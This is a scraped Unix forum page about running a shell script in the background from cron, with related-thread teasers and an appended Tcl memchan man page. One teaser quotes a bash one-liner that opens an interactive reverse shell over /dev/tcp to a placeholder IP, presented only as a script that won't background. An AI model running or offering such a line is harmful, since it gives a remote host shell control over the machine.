Sponsored Content
Top Forums Shell Programming and Scripting Running Shell Script in the cron, background process Post 302573739 by blacksteel1988 on Tuesday 15th of November 2011 10:51:18 AM
Old 11-15-2011
Hi, i just wanted to thank you all, and tell you that i make it work..

This is what i did:
Code:
#!/bin/bash
#Edited by JFMA
##This is the script
##
##Starts here...

#1)

cd /home/interp/SH

. /home/interp/.profile
./interpreter_server_teller_run.sh &

exit 0

I really dunno exactly why, but it worked!!! after that just put it in the cron.
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

running process in background

I'm trying to install a solaris 9 patch cluster and when I try to use & to run in background it won't allow me to enter in my sudo password so it fails the install and sudo auth. Does Solaris not have screen like linux? If & will work what am I doing wrong? sudo ./install_cluster -q & is... (3 Replies)
Discussion started by: kingdbag
3 Replies

2. Shell Programming and Scripting

facing problem in starting a process in background using shell script.

hey all, i am working on sun solaris machine and i want to start a process in background using shell script (actually i wanna start tomcat server using shell script). please dont tell me that append a & at last because this is not working in the shell script. i have also used nohup and... (8 Replies)
Discussion started by: dtomar
8 Replies

3. Solaris

Is user cron job running in background?

Hi, Should the user jobs specified in crontab be running in background? Cron daemon is already running in background. So I am not sure whether should the jobs (output and error messages are redirected to file) ran by it be explicitly stated to be run in background (& at end of command) if one... (1 Reply)
Discussion started by: joe_x
1 Replies

4. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

5. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

6. Shell Programming and Scripting

Running shell script via cron

Hi Guys, I do have a shell script that I scheduled to run via the cron but when the script don't run. But when I run the script manually it does run perfectly... What might be the problem? Thanks. (1 Reply)
Discussion started by: Phuti
1 Replies

7. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

8. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

9. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

10. UNIX for Beginners Questions & Answers

Running process in the background

Hi, I have this simple c program that creates duplicate process with fork(): #include <sys/types.h> main() { if (fork() == 0) while(1); else while(1); } I tried running it in the background gcc -o test first.c test & And I got this list of running process: (4 Replies)
Discussion started by: uniran
4 Replies
memchan(n)																memchan(n)

__________________________________________________________________________________________________________________________________________________

NAME
memchan - C API for creating memory channels SYNOPSIS
package require Tcl package require memchan Tcl_Channel Memchan_CreateMemoryChannel (Tcl_Interp *interp, int initialSize) Tcl_Channel Memchan_CreateFifoChannel (Tcl_Interp *interp) void Memchan_CreateFifo2Channel (Tcl_Interp *interp, Tcl_Channel *aPtr, Tcl_Channel *bPtr) Tcl_Channel Memchan_CreateNullChannel (Tcl_Interp *interp) Tcl_Channel Memchan_CreateZeroChannel (Tcl_Interp *interp) Tcl_Channel Memchan_CreateRandomChannel (Tcl_Interp *interp) _________________________________________________________________ DESCRIPTION
The memchan package provides a C API for use by third-party extension writers. This is exposed by a Tcl stubs library table to reduce ver- sion dependency as is available for Tcl itself. COMMAND
Tcl_Channel Memchan_CreateMemoryChannel (Tcl_Interp *interp, int initialSize) Tcl_Channel Memchan_CreateFifoChannel (Tcl_Interp *interp) void Memchan_CreateFifo2Channel (Tcl_Interp *interp, Tcl_Channel *aPtr, Tcl_Channel *bPtr) Tcl_Channel Memchan_CreateNullChannel (Tcl_Interp *interp) Tcl_Channel Memchan_CreateZeroChannel (Tcl_Interp *interp) Tcl_Channel Memchan_CreateRandomChannel (Tcl_Interp *interp) Each of these functions creates an returns a channel exactly as described in the Tcl command pages for each of the memchan commands. The Tcl commands internally call these functions to create the channels. The memchan channel accepts an initialSize argument to permit pre-allocating space for the internal buffer. Normally this may be set to 0. The fifo2 API function looks a little different because it must return two linked channels. SEE ALSO
Tcl_GetChannelName COPYRIGHT
Copyright (c) 2004 Pat Thoyts <patthoyts@users.sourceforge.net> Memory channels 2.2 memchan(n)
All times are GMT -4. The time now is 10:03 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy